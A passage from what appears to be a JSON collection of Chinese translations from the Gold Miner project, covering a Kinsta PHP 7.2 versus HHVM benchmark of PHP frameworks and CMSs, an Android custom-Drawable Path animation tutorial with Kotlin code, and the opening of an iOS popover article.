的测试，我们选用了一个纯 HTML 的主题。测试通过多次运行并取平均值。你可以在这份 [电子表格](https://docs.google.com/spreadsheets/d/1aHfpfSPA3MA82-KDGP5jmkGXkDqbbqu5qykYpCqOpIM/edit?usp=sharing)（注：须科学上网） 上看到额外的测试细节。\n\n*   文章数目: 10 篇，加上 [Blade](https://laravel.com/docs/5.0/templates) 模板的 foreach 循环\n*   数据库包含一张表 `posts`\n*   数据表包含 6 个字段 `post_title`，`post_content`， `post_author`， `created_at`，和 `updated_at`。\n*   关闭 Session\n*   在执行测试前运行这几条命令：composer dump-autoload –classmap-authoritative, php artisan optimize –force, php artisan config:cache, php artisan route:cache\n\n![Laravel 5.4.36 benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Laravel-5.4.36-benchmarks-1.png)\n\nLaravel 5.4.36 测试\n\n#### 测试结果\n\n*   Laravel 5.4.36 PHP 5.6 测试结果: 66.57 req/sec\n*   Laravel 5.4.36 PHP 7.0 测试结果: 114.55 req/sec\n*   Laravel 5.4.36 PHP 7.1 测试结果: 113.26 req/sec\n*   Laravel 5.4.36 PHP 7.2 测试结果: 114.04 req/sec\n*   Laravel 5.4.36 **HHVM 测试结果: 394.31 req/sec 🏆**\n\n显然，HHVM 在这一次测试中成为了赢家。\n\n然而，很重要的一点是，**Laravel 5.6 并不支持 HHVM 并要求 PHP 版本 7.1 或者更高**。\n\n![Laravel 5.6 benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Laravel-5.6-benchmarks-1.png)\n\nLaravel 5.6 测试\n\n#### 测试结果\n\n*   Laravel 5.6 PHP 5.6 测试结果: 不支持\n*   Laravel 5.6 PHP 7.0 测试结果: 不支持\n*   Laravel 5.6 PHP 7.1 测试结果: 411.39 req/sec\n*   Laravel 5.6 **PHP 7.2 测试结果: 442.17 req/sec 🏆**\n*   Laravel 5.6 HHVM 测试结果: 不支持\n\n如果你把 Laravel 5.6 加上 PHP 7.2 的测试结果与其他在 Laravel 5.4.36 上的测试结果对比的话就会发现，两者之间的差距简直是令人震惊的！Laravel 在最新版本的 PHP 上的性能表现确实是相当好的。\n\n### Symfony 3.3.6 + 4.0.1\n\n[Symfony](https://symfony.com/) 是一系列可复用的 PHP 组件以及一个用来搭建 web 应用，APIs，微服务，和 web 服务的 PHP 框架。它的最初版本发布于 2005 年 10 月 22 日。\n\n![Symfony](https://kinsta.com/wp-content/uploads/2018/02/symfony.png)\n\n对于 Symfony 的测试。我们选用了 [Symfony Demo](https://github.com/symfony/demo) 与 MySQL 的组合 (它的默认数据库是 SQLite)。测试通过多次运行取平均值。值得注意的一点是 HHVM 并没有如预期中的正常工作且抛出了 500 错误。你可以在这份 [电子表格](https://docs.google.com/spreadsheets/d/1aHfpfSPA3MA82-KDGP5jmkGXkDqbbqu5qykYpCqOpIM/edit?usp=sharing)（注：须科学上网）上看到更多的测试细节。\n\n*   文章数目: 10\n*   测试的 URL: /en/blog/\n*   composer dump-autoload -o, php bin/console doctrine:database:create, php bin/console doctrine:schema:create, php bin/console doctrine:fixtures:load, php bin/console cache:clear –no-warmup –env=prod\n\n![Symfony 3.3.6 benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Symfony-3.3.6-benchmarks.png)\n\nSymfony 3.3.6 测试\n\n#### 测试结果\n\n*   Symfony 3.3.6 PHP 5.6 测试结果: 81.78 req/sec\n*   Symfony 3.3.6 PHP 7.0 测试结果: 184.15 req/sec\n*   Symfony 3.3.6 PHP 7.1 测试结果: 187.60 req/sec\n*   Symfony 3.3.6 **PHP 7.2 测试结果: 196.94 req/sec 🏆**\n*   Symfony 3.3.6 HHVM 测试结果: 不支持\n\nPHP 7.2 又双叒叕成为了赢家！\n\n另外，**Symfony 4.0.1** **要求 PHP 7.1 版本或者更高**。而且，HHVM 又双叒叕无法正常工作并抛出 500 错误了。\n\n![Symfony 4.0.1 benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Symfony-4.0.1-benchmarks.png)\n\nSymfony 4.0.1 测试\n\n#### 测试结果\n\n*   Symfony 4.0.1 PHP 5.6 测试结果: 不支持\n*   Symfony 4.0.1 PHP 7.0 测试结果: 不支持\n*   Symfony 4.0.1 PHP 7.1 测试结果: 188.12 req/sec\n*   Symfony 4.0.1 **PHP 7.2 测试结果: 197.17 req/sec 🏆**\n*   Symfony 4.0.1 HHVM 测试结果: 不支持\n\n预料之中，PHP 7.2 再一次获得了第一名。\n\n### PyroCMS 3.4.14\n\n[PyroCMS](https://pyrocms.com/) 是一款开源且高效的 Laravel 插件，它能让你在基于框架的基础上开发网站和应用时如虎添翼。\n\n![PyroCMS](https://kinsta.com/wp-content/uploads/2018/02/pyrocms.png)\n\n对于 PyroCMS 的测试，我们选用了免费的 [Accelerant 主题](https://github.com/pyrocms/accelerant-theme) (PyroCMS 的默认主题)。需要注意的是 PyroCMS 并不能在 HHVM 上正常工作，可能是它依赖于 Laravel 的原因。\n\n*   文章数目: 5\n*   Debug 模式开启 (APP_DEBUG=true)\n\n![PyroCMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/PyroCMS-benchmarks.png)\n\nPyroCMS 测试\n\n#### 测试结果\n\n*   PyroCMS 3.4.14 PHP 5.6 测试结果: 不支持\n*   PyroCMS 3.4.14 PHP 7.0 测试结果: 27.33 req/sec\n*   PyroCMS 3.4.14 PHP 7.1 测试结果: 27.81 req/sec\n*   PyroCMS 3.4.14 **PHP 7.2 测试结果: 29.28 req/sec 🏆**\n*   PyroCMS 3.4.14 HHVM 测试结果: 不支持\n\n尽管各个版本在 PyroCMS 上的测试结果非常接近，但是 PHP 7.2 确实再次地赢下了这次测试。\n\n### Pagekit 1.0.13\n\n[Pagekit](https://pagekit.com/) 是一款由 YOOtheme 创立的开源且模块化的轻量级 CMS 软件。它赋予了你用来创建漂亮网站的工具。它的最初版本发布于 2016 年的春天。\n\n![pagekit](https://kinsta.com/wp-content/uploads/2018/02/pagekit.png)\n\n对于 Pagekit 的测试，我们选用了免费的 [One 主题](https://pagekit.com/marketplace/package/pagekit/theme-one) (Pagekit 的默认主题)。\n\n*   文章数目: 5\n*   关闭缓存\n*   测试的 URL: /blog\n\n![Pagekit benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Pagekit-benchmarks.png)\n\nPagekit 测试\n\n#### 测试结果\n\n*   Pagekit 1.0.13 PHP 5.6 测试结果: 51.70 req/sec\n*   Pagekit 1.0.13 PHP 7.0 测试结果: 108.61 req/sec\n*   Pagekit 1.0.13 PHP 7.1 测试结果: 112.30 req/sec\n*   Pagekit 1.0.13 **PHP 7.2 测试结果: 116.18 req/sec 🏆**\n*   Pagekit 1.0.13 HHVM 测试结果: 61.16 req/sec\n\nPagekit 在 HHVM 上运行时遇到了一些小问题。很显然，PHP 7.2 已经超神了。\n\n### Bolt CMS 3.4.8\n\nBolt CMS，又称 [Bolt](https://bolt.cm/)，是一款尽其所能做到简单粗暴的开源内容管理工具。它是基于 Silex 和 Symfony 的一系列组件开发的，使用 Twig 作为模板语言，还有其他诸如 SQLite，MySQL 或者 PostgreSQL 等作为数据库存储方案。\n\n![Bolt CMS](https://kinsta.com/wp-content/uploads/2018/02/bolt-cms.png)\n\n对于 Bolt CMS 的测试，我们选用了免费的 [Bolt Base 2016 主题](https://market.bolt.cm/view/bolt/theme-2016)。需要注意的是其 **并不支持 HHVM ** ([#6921](https://github.com/bolt/bolt/pull/6921)).\n\n*   文章数目: 5\n*   测试的 URL: /entries\n*   开启 Session\n\n![Bolt CMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Bolt-CMS-benchmarks.png)\n\nBolt CMS 测试\n\n#### 测试结果\n\n*   Bolt CMS 3.4.8 PHP 5.6 测试结果: 33.45 req/sec\n*   Bolt CMS 3.4.8 PHP 7.0 测试结果: 60.21 req/sec\n*   Bolt CMS 3.4.8 PHP 7.1 测试结果: 67.96 req/sec\n*   Bolt CMS 3.4.8 **PHP 7.2 测试结果: 72.05 req/sec 🏆**\n*   Bolt CMS 3.4.8 HHVM 测试结果: 不支持\n\n在这一次测试中，我们可以看到一个明显的迹象，那就是每当 PHP 发布一个新版本，Bolt CMS 都有一个稳定的性能提升。\n\n### Anchor CMS 0.12.6 (预发布版本)\n\n[Anchor](https://anchorcms.com/) 是一个极简主义的，开源的轻量级博客系统，它的创始初衷是为了「let you just write」。\n\n![Anchor CMS](https://kinsta.com/wp-content/uploads/2018/02/anchor-cms-1.png)\n\n对于 Anchor CMS 的测试，我们选用了由 Visual Idiot 开发的免费 [默认主题](https://github.com/anchorcms/anchor-cms/tree/master/themes/default)。\n\n*   文章数目: 5\n\n![Anchor CMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Anchor-CMS-benchmarks.png)\n\nAnchor CMS 测试\n\n#### 测试结果\n\n*   Anchor CMS 0.12.6 PHP 5.6 测试结果: 495.33 req/sec\n*   Anchor CMS 0.12.6 PHP 7.0 测试结果: 546.02 req/sec\n*   Anchor CMS 0.12.6 **PHP 7.1 测试结果: 565.00 req/sec 🏆**\n*   Anchor CMS 0.12.6 PHP 7.2 测试结果: 561.73 req/sec\n*   Anchor CMS 0.12.6 HHVM 测试结果: 487.71 req/sec\n\n在我们的测试中，PHP 7.1 和 7.2 版本之间的测试结果相当接近。但 PHP 7.1 版本还是以微弱的性能优势领先。\n\n### PrestaShop 1.7.2.4\n\n[PrestaShop](https://www.prestashop.com/en) 是一款很热门且正处于飞速发展中的开源电子商务解决方案。它的最初版本发布于 2008 年 7 月 31 日，根据 W3Techs 的数据，互联网上有 [0.6% 的网站](https://w3techs.com/technologies/details/cm-prestashop/all/all) 使用了它。\n\n![PrestaShop](https://kinsta.com/wp-content/uploads/2018/02/prestashop.png)\n\n对于 PrestaShop 的测试，我们选用了免费的 [经典主题](https://github.com/PrestaShop/PrestaShop/tree/develop/themes/classic)。要注意的一点是 [PrestaShop 并不支持 HHVM](https://www.prestashop.com/forums/topic/579038-hhvm-prestashop/).\n\n*   商品数目: 7 (默认样例商品)\n*   测试的 URL: /index.php\n*   页面缓存: 关闭，智能缓存: 开启\n\n![PrestaShop benchmarks](https://kinsta.com/wp-content/uploads/2018/02/PrestaShop-benchmarks.png)\n\nPrestaShop 测试\n\n#### 测试结果\n\n*   Prestashop 1.7.2.4 PHP 5.6 测试结果: 61.96 req/sec\n*   Prestashop 1.7.2.4 PHP 7.0 测试结果: 108.34 req/sec\n*   Prestashop 1.7.2.4 PHP 7.1 测试结果: 111.38 req/sec\n*   Prestashop 1.7.2.4 **PHP 7.2 测试结果: 111.48 req/sec** **🏆**\n*   Prestashop 1.7.2.4 HHVM 测试结果: 不支持\n\n测试结果 7.0 版本之后的 PHP 之间旗鼓相当，但是 PHP 7.2 最终还是以细微的差距挤上了头名的位置。\n\n### Craft CMS 2.6.3011\n\n[Craft CMS](https://craftcms.com/) 是一款专注于为开发者，设计师和 web 专家提供灵活性，强大性以及客户端易用性的 CMS 软件。\n\n![Craft CMS](https://kinsta.com/wp-content/uploads/2018/02/craft-cms.png)\n\n对于 Craft CMS 的测试，我们选用了免费的 [默认主题](https://github.com/craftcms/cms).\n\n*   文章数目: 5\n*   测试的 URL: /index.php?p=news\n*   CraftCMS 自带了一份 Dockerfile。我们自定义了一部分以使其兼容 Nginx。\n\n![Craft CMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Craft-CMS-benchmarks.png)\n\nCraft CMS 测试\n\n#### 测试结果\n\n*   Craft CMS 2.6.3011 PHP 5.6 测试结果: 131.04 req/sec\n*   Craft CMS 2.6.3011 PHP 7.0 测试结果: 266.54 req/sec\n*   Craft CMS 2.6.3011 PHP 7.1 测试结果: 272.14 req/sec\n*   Craft CMS 2.6.3011 **PHP 7.2 测试结果: 280.02 req/sec** **🏆**\n*   Craft CMS 2.6.3011 HHVM 测试结果: 26.28 req/sec\n\nCraft CMS 在 HHVM 上并没有表现好。但是在 PHP 7.2 上却是相当的快！\n\n### Fork CMS 5.2.2\n\nFork 是一款使用了 Symfony 组件开发的使用方便的 CMS 软件。对于 Fork CMS 的测试，我们选用了免费的默认 [Fork 主题](https://github.com/forkcms/forkcms/tree/master/src/Frontend/Themes/Fork)。需要注意的是 **Fork CMS 要求 PHP 版本为 7.1 或者更高，而且不支持 HHVM**。\n\n*   文章数目: 2 (从 ForkCMS 中获取的默认样例数据)\n*   测试的 URL: /modules/blog\n\n![Fork CMS benchmarks](https://kinsta.com/wp-content/uploads/2018/02/Fork-CMS-benchmarks.png)\n\nFork CMS 测试\n\n#### 测试结果\n\n*   Fork CMS 5.2.2 PHP 5.6 测试结果: 不支持\n*   Fork CMS 5.2.2 PHP 7.0 测试结果: 不支持\n*   Fork CMS 5.2.2 PHP 7.1 测试结果: 10.68 req/sec\n*   **Fork CMS 5.2.2 PHP 7.2 测试结果: 12.83 req/sec** **🏆**\n*   Fork CMS 5.2.2 HHVM 测试结果: 不支持\n\n本次测试中，PHP 7.2 在性能方面击败了 PHP 7.1。\n\n### 现在在 Kinsta 上升级到 PHP 7.2\n\n如果上面的结果仍不能使你信服，那我们也不知道还有什么可以！温馨提示，如果你是 Kinsta 的客户，我们在 2017 年的十二月就发布了对于 [PHP 7.2](https://kinsta.com/blog/php-7-2/) 的支持。如果你想看到性能的提升，你只需在你的 MyKinsta 后台通过轻轻一点来切换到 PHP 7.2 版本即可。\n\n![Changing the WordPress PHP version on Kinsta](https://kinsta.com/wp-content/uploads/2016/05/wordpress-php-version-2.png)\n\n在 Kinsta 上切换到 PHP 7.2\n\n如果你担心会与一些第三方插件产生兼容性问题的话（这确实可能会发生），我们的测试站点功能就可以排上用场了。😉 你可以随意进行测试而不用担心破坏掉你的生产环境。\n\n## 本次测试的总结\n\n就像你很清晰地从上面所有测试中看到的一样，**PHP 7.2 在多个平台的性能上已经成为了领头羊**. 🏋\n\n*   在上面测试的20种配置中，PHP 7.2 有 14 次是速度最快的引擎。其中还有两个（Drupal 和 Magento ）不支持PHP 7.2，所以这个比例可能高达 16/20。\n*   **而对于 WordPress 来说，PHP 7.2 是所有测试中最快的** (包含 WordPress 站点，WooCommerce，和 Easy Digital Downloads).\n*   在许多基准测试结果中，你可以很轻易地发现 PHP 新版本与性能提升是成正比的。这也就是为什么测试你的站点、插件并坚持定期升级计划是如此的重要。你的访问者和客户将会因为他们享受到的速度而感谢你！\n*   如果你的空间提供商并没有提供新版本的 PHP，那你可能是时候要考虑进行迁移了。\n\n我们对于 PHP 7.2 感到十分兴奋，期待你也与我们一样！我们很乐意听到您对于我们的测评的看法或者是您的升级攻略，请将您想说的留在下方的评论中。\n\n---\n\n这篇文章是由 [Mark Gavalda](https://kinsta.com/blog/author/kinstadmin/) 编写的。Mark 在市场，web 设计和开发领域拥有多年的带队经验。作为一个开发者，他利用他在 WP 领域的专业知识来收集关于如何创建一个可靠且对用户友好的托管公司的诀窍。他是一名从不停止学习新技能的自学者和城市自行车手。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/playing-with-paths.md",
    "content": "> * 原文地址：[Playing with Paths](https://medium.com/google-developers/playing-with-paths-3fbc679a6f77)\n> * 原文作者：[Nick Butcher](https://medium.com/@crafty?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/playing-with-paths.md](https://github.com/xitu/gold-miner/blob/master/TODO/playing-with-paths.md)\n> * 译者：[IllllllIIl](https://github.com/IllllllIIl)\n> * 校对者：[LeeSniper](https://github.com/LeeSniper)\n\n# 玩转 Paths\n\n我最近帮别人实现了一个 app 里面英雄人物的动画。然而，我现在还不能把这个动画分享给你们。但我想分享在实现它的过程中学到的东西。在这篇文章中，我将回顾如何重现这些由 [Dave ‘beesandbombs’ Whyte](https://beesandbombs.tumblr.com/) 展示的迷人动画，其中演示了很多一样的实现技巧。\n\n![](https://cdn-images-1.medium.com/max/800/1*uHGhUwxAvufuD_THa7sjAg.gif)\n\nbeesandbombs 展示的[多边形绕圈](https://beesandbombs.tumblr.com/post/161295765794/polygon-laps)\n\n当我看到这个时（对熟悉我工作的人来说可能不是很惊讶），第一想法是使用 [AnimatedVectorDrawable](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html) (下文会简称为 `AVD`)。`AVD` 很好用，但不是适用所有的情况 —— 特别是我们有如下的需求的话：\n\n* 我知道我们需要画一个多边形，但还没却确定具体要画哪个形状。`AVD` 是需要预先设定参数的动画，即改变形状需要重新设置动画。\n* 关于动画进度追踪的问题，我们只想要绘制多边形的一部分。`AVD` 是“义无反顾”地执行任务，如果动画开始后，它会完整地执行完整个动画，换句话说你不能取消它。\n* 我们想要使另一个物体绕着多边形运动。这个当然也可以通过 `AVD` 实现。但它还是需要很多事前工作去计算想生成的轨迹。\n* 我们想把绕多边形物体的运动进度与多边形的显示分离开来，独立控制。\n\n因此我选择用自定义 [Drawable](https://developer.android.com/reference/android/graphics/drawable/Drawable.html) 来实现，其中包含多个 [Path](https://developer.android.com/reference/android/graphics/Path.html) 对象。`Path` 是对图形形状的基本描绘（AVD 中实际也使用了 Path！），而且 Android [Canvas](https://developer.android.com/reference/android/graphics/Canvas.html) 的 API也是借助 Path 来生成各种有趣的效果。在实现一些效果之前，我想强烈推荐 [Romain Guy](https://medium.com/@romainguy) 这篇写得很好的文章，里面展示的很多技巧就是我在本文所用到的：\n\n[**Android Recipe #4, path tracing**](http://www.curious-creature.com/2013/12/21/android-recipe-4-path-tracing/)\n\n#### 极坐标系\n\n当定义 2d 形状的时候，我们通常在笛卡尔坐标系 (x,y) 中进行定义。通过指定 x 轴和 y 轴上离原点的距离，来定义图形形状。而另一个我们可选用的极坐标系，则是定义离原点的角度和半径长度。\n\n![](https://cdn-images-1.medium.com/max/800/0*i620xgMH8TKxMtP3.)\n\n笛卡尔坐标系（左边）vs 极坐标系（右边）\n\n我们可以通过这两条公式进行极坐标系和笛卡尔坐标系之间的转换：\n\n```\nval x = radius * Math.cos(angle);\nval y = radius * Math.sin(angle);\n```\n\n我强烈推荐读下面这篇文章以了解更多关于极坐标系的内容：\n\n[**极坐标系**](http://varun.ca/polar-coords/ \"http://varun.ca/polar-coords/\")\n\n为了能生成规则的多边形（例如每个内角的度数相同），极坐标系能起到非常大的作用。为了生成想要的边数，你可以通过计算求出对应的度数（因为内角度数和是 360 度），然后借助同一个半径，再利用这个度数的多个倍数关系去描绘出每个点。 你可以用图形 API 将这些点坐标转化为笛卡尔坐标。下面是一个通过给定的边数和半径生成多边形 `Path` 的函数：\n\n```\nfun createPath(sides: Int, radius: Float): Path {\n  val path = Path()\n  val angle = 2.0 * Math.PI / sides\n  path.moveTo(\n      cx + (radius * Math.cos(0.0)).toFloat(),\n      cy + (radius * Math.sin(0.0)).toFloat())\n  for (i in 1 until sides) {\n    path.lineTo(\n        cx + (radius * Math.cos(angle * i)).toFloat(),\n        cy + (radius * Math.sin(angle * i)).toFloat())\n    }\n  path.close()\n  return path\n}\n```\n\n![](https://cdn-images-1.medium.com/max/800/0*gfEjYsmdKv2AF-ZV.)\n\n所以为了生成想要的多边形组合，我们创建了一个有不同边数、半径和颜色的多边形 list 集合。`Polygon` 是一个持有这些信息和计算相应 `Path` 的类：\n\n```\nprivate val polygons = listOf(\n  Polygon(sides = 3, radius = 45f, color = 0xffe84c65.toInt()),\n  Polygon(sides = 4, radius = 53f, color = 0xffe79442.toInt()),\n  Polygon(sides = 5, radius = 64f, color = 0xffefefbb.toInt()),\n  ...\n)\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*w913bdMCd1gvcQJdkRC-gQ.png)\n\n#### 有效的 path 绘制\n\n绘制一个 Path 只需简单地调用 [Canvas.drawPath(path, paint)](https://developer.android.com/reference/android/graphics/Canvas.html#drawPath%28android.graphics.Path,%20android.graphics.Paint%29) 但是 [Paint](https://developer.android.com/reference/android/graphics/Paint.html) 类的参数[支持](https://developer.android.com/reference/android/graphics/Paint.html#setPathEffect%28android.graphics.PathEffect%29) [PathEffect](https://developer.android.com/reference/android/graphics/PathEffect.html)，借助这个我们可以去更改 path 被绘制时的效果。 例如我们可以使用 [CornerPathEffect](https://developer.android.com/reference/android/graphics/CornerPathEffect.html) 去把我们的多边形的各个角圆滑化处理或者是用 [DashPathEffect](https://developer.android.com/reference/android/graphics/DashPathEffect.html) 去分段地画出 `Path`（虚线效果，译者注）（关于这个技巧的更多细节，请阅读前面提到的那篇 Path tracing [文章](http://www.curious-creature.com/2013/12/21/android-recipe-4-path-tracing/) ）：\n\n![](https://cdn-images-1.medium.com/max/800/0*YYIS8QVIZWMvkZU6.)\n\n> 另外一种画分段 path 的方法是使用 [PathMeasure#getSegment](https://developer.android.com/reference/android/graphics/PathMeasure.html#getSegment%28float%2C%20float%2C%20android.graphics.Path%2C%20boolean%29)，它能复制 path 的某一部分到一个新的 Path 对象。我是直接使用了能画出虚线的方法，就像自己改变了绘制的时间间隔和分段绘制实现的效果一样。\n\n通过暴露这些控制 drawable 特性的参数，我们可以很容易地生成动画：\n\n```\nobject PROGRESS : FloatProperty<PolygonLapsDrawable>(\"progress\") {\n  override fun setValue(pld: PolygonLapsDrawable, progress: Float) {\n    pld.progress = progress\n  }\n  override fun get(pld: PolygonLapsDrawable) = pld.progress\n}\n\n...\n\nObjectAnimator.ofFloat(polygonLaps, PROGRESS, 0f, 1f).apply {\n  duration = 4000L\n  interpolator = LinearInterpolator()\n  repeatCount = INFINITE\n  repeatMode = RESTART\n}.start()\n```\n\n例如，这是绘制同心圆多边形 path 过程的不同动画效果：\n\n![](https://cdn-images-1.medium.com/max/800/0*YRIGAx02Jyocd7G4.)\n\n#### 吸附在 path 上\n\n为了绘制某个沿着 path 的物体，我们可以使用 [PathDashPathEffect](https://developer.android.com/reference/android/graphics/PathDashPathEffect.html). 这会把另一个 `Path` 沿着某条 path “点印”在它上面，例如像这样以蓝色圆形形状沿着一个多边形的边点印在上面：\n\n![](https://cdn-images-1.medium.com/max/800/1*tKje69sTkg8-Wvwnkcj-IQ.png)\n\n`PathDashPathEffect` 接收 `advance` 和 `phase` 两个参数 —— 分别对应每个 stamp（绘制在 path 上面的物体，译者注）之间的间距和绘制第一个 stamp 在 path 上的偏移量。通过把每个 stamp 的间距设置为和整个 path 的长度一样(通过 [PathMeasure#getLength](https://developer.android.com/reference/android/graphics/PathMeasure.html#getLength%28%29) 获取)， 我们就可以只绘制出一个 stamp。然后再通过不断改变偏移量，（偏移量是由 `dotProgress` 范围 [0, 1] 控制）我们就可以实现只有一个 stamp 沿着 path 在运动的动画效果。\n\n```\nval phase = dotProgress * polygon.length\ndotPaint.pathEffect = PathDashPathEffect(pathDot, polygon.length,\n    phase, TRANSLATE)\ncanvas.drawPath(polygon.path, dotPaint)\n```\n\n我们现在有生成我们图形的所有要素。通过添加另一个参数，就是每个点在每个多边形上所对应的第几“圈”的圈数，每个点会完成对应的绕圈动画。能生成像这样的效果：\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*vCysqKE1ek9WjJXVrqqUqQ.gif)\n\n通过 Android drawable 实现原本 gif 的效果\n\n你可以通过下面的链接获得这个 drawable 的源码：\n[https://gist.github.com/nickbutcher/b41da75b8b1fc115171af86c63796c5b#file-polygonlapsdrawable-kt](https://gist.github.com/nickbutcher/b41da75b8b1fc115171af86c63796c5b#file-polygonlapsdrawable-kt)\n\n#### 展示不同的效果\n\n你们可能已经注意到 PathDashPathEffect 构造方法中最后的参数：[Style](https://developer.android.com/reference/android/graphics/PathDashPathEffect.Style.html)。这个枚举类控制在 path 上面的 stamp 在每个位置上是如何被绘制的。为了展示这个参数的使用，下面的例子使用了一个三角形 stamp 代替圆形，去展示`平移（translate）`和`旋转（rotate）`的效果差别：\n\n![](https://github.com/IllllllIIl/Translation/blob/master/path.gif?raw=true)\n\n比较`平移`和`旋转`效果的异同\n\n注意到使用 `translate` 效果时，三角形 stamp 方向总是相同的（箭头方向指向左）而如果是 `rotate` 效果的话，三角形会旋转自身保持在处于 path 的切线方向上。\n\n还有一种 `类型` 叫做 `morph`，能让 stamp 平稳变换。为了展示这个效果，我把 stamp 变成了如下的一条线段。请观察当经过角落时，线段是如何弯曲的：\n\n![](https://cdn-images-1.medium.com/max/800/1*Wc2bErgxb68pCBrODWD8Ag.gif)\n\n当PathDashPathEffect.Style的类型为 `MORPH` \n\n有趣的是，某些情况下，在 path 的开头或紧密的角落，stamp 的形状有点扭曲。\n\n> 提醒一点你可以使用 `ComposePathEffect` 去组合多种 `PathEffect` 在一起，通过将 `PathDashPathEffect`和 `CornerPathEffect` 一起组合使用，可以实现让 stamp 在有圆滑角落的 path 上运动。\n\n#### 使用正切\n\n上面我们所讨论的是关于如何生成多边形的绕圈组合，而我最初的需求实际上还要麻烦点。使用 `PathDashPathEffect` 的缺点是只能应用一种单一的形状和颜色。我自己的作品需要有更精巧的标记（marker，即 stamp，译者注），所以我用一种比点印在 path 上更好的办法。我使用了 `Drawable` 并且计算给定一个进度的话，沿着 Path 标记需要在哪个地方绘制出来。\n\n![](https://cdn-images-1.medium.com/max/800/1*New-800sQntmGpmk6griDg.gif)\n\n###### 沿着 path 移动 VectorDrawable\n\n为了实现这个效果，我再次使用 `PathMeasure` 类，它提供了 [getPosTan](https://developer.android.com/reference/android/graphics/PathMeasure.html#getPosTan%28float%2C%20float%5B%5D%2C%20float%5B%5D%29) 方法获取位置坐标，和沿着某个 Path 给定长度时的正切值。通过这样（涉及到一点数学），我们可以平移和旋转画布，从而让我们的`标记`绘制在正确的位置和方向上。 \n\n```\npathMeasure.setPath(polygon.path, false)\npathMeasure.getPosTan(markerProgress * polygon.length, pos, tan)\ncanvas.translate(pos[0], pos[1])\nval angle = Math.atan2(tan[1].toDouble(), tan[0].toDouble())\ncanvas.rotate(Math.toDegrees(angle).toFloat())\nmarker.draw(canvas)\n```\n\n#### 找到你的 path \n\n希望这篇文章能够说明自定义 drawable 的同时去创建和操作 path 对于生成有趣的图形效果是多么有用。 编写一个自定义 drawable，在单独更改各部分的动画效果这方面有很灵活的控制。这个方法也能让你动态更改数值，而不用需要预先就设定好整个动画。期待你们通过 Android 的 Path API 和其他内置效果实现更多新奇的效果，而这些工具早在 API 1 的时候就已经可以使用了。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/popovers-on-popovers.md",
    "content": "> * 原文链接: [Preventing Popovers on Popovers\n](https://pspdfkit.com/blog/2016/popovers-on-popovers/)\n* 原文作者: [Douglas Hill](https://twitter.com/qdoug)\n* 译文出自: [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者:  [llp0574](https://github.com/llp0574)\n* 校对者: [yifili09](https://github.com/yifili09),[Graning](https://github.com/Graning)\n\n# iOS 开发，该如何解决弹窗的设计问题？\n\niOS 开发，该如何解决弹窗的设计问题？\n\niOS 9 的页面用了一种我们不能复现的方式去展示一个活动视图控制器，并且当从内部表单和弹窗呈现操作列表和活动视图控制器时 UIKit 的行为一开始看起来不那么连贯。我们提交了两份 Radars 给苹果：[rdar://27448912 Can’t show activity view controller filling a form sheet](http://openradar.appspot.com/27448912) 和 [rdar://27448488 Reading an alert controller’s popoverPresentationController property changes behavior](http://openradar.appspot.com/27448488)。\n\n[iOS 的人机交互指南](https://developer.apple.com/ios/human-interface-guidelines/interaction/modality/)声明：\n\n> **不要在一个弹窗上展示一个模态视图。** 由于一个警告弹窗可能是一个异常，所以不应该在这上面展现任何东西。极少数情况下，当你真的需要在一个动作导致弹窗后展示一个模态视图时，应该先把弹窗关闭掉再进行展示。\n\n[并且](https://developer.apple.com/ios/human-interface-guidelines/ui-views/popovers/):\n\n> **一次只展示一个弹窗。** 展示多个弹窗会让交互变得杂乱并让人产生疑惑。千万不要展示一个级联或者有层次结构的弹窗，一个从另一个里面产生的那种。如果你需要展示一个新的弹窗，首先关闭已经弹出的那个。\n\n在横向水平的普通环境和全屏紧凑的环境下具有[弹窗](https://developer.apple.com/reference/uikit/uimodalpresentationstyle/1621382-popover)样式的视图控制器都应该呈现为弹窗。具有操作列表样式的 [`UIActivityViewController`](https://developer.apple.com/reference/uikit/uiactivityviewcontroller) 和 [`UIAlertController`](https://developer.apple.com/reference/uikit/uialertcontroller) 